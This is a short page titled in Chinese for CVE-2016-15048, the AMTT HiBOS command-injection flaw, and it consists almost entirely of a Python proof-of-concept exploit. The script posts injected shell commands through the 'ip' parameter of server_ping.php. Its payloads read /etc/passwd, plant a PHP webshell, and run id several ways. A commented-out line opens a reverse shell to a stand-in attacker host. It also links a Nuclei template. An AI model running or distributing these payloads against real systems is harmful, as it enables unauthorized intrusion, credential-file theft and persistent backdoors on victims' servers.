CVE-2016-15048：AMTT HiBOS命令注入远程代码执行漏洞

# CVE-2016-15048 - AMTT HiBOS Command Injection PoC # Vulnerability: Unauthenticated Command Injection in /manager/radius/server_ping.php # Parameter: ip (unsanitized, directly concatenated into shell command) import requests TARGET_URL = "http://target-host/manager/radius/server_ping.php" # Payload: inject shell command via ip parameter using semicolon (;) # The original command likely constructs something like: ping -c 4 <user_input> # By injecting "; <command>", we break out of the original command payloads = [ # Basic command execution - read /etc/passwd {"ip": "127.0.0.1; cat /etc/passwd"}, # Reverse shell example (adjust IP and port) # {"ip": "127.0.0.1; bash -i >& /dev/tcp/attacker_ip/4444 0>&1"}, # Write a webshell for persistent access {"ip": "127.0.0.1; echo '<?php system($_GET["cmd"]);?>' > /var/www/html/shell.php"}, # Using pipe (|) as alternative injection vector {"ip": "127.0.0.1 | id"}, # Using backticks for command substitution {"ip": "127.0.0.1 `id`"}, # Using $(command) syntax {"ip": "127.0.0.1 $(id)"}, ] for payload in payloads: try: response = requests.post(TARGET_URL, data=payload, timeout=10) print(f"[*] Payload: {payload['ip']}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text[:2000]}") print("-" * 60) except Exception as e: print(f"[!] Error: {e}") # Nuclei template reference: # https://github.com/adysec/nuclei_poc/blob/main/poc/remote_code_execution/hiboss-rce_2.yaml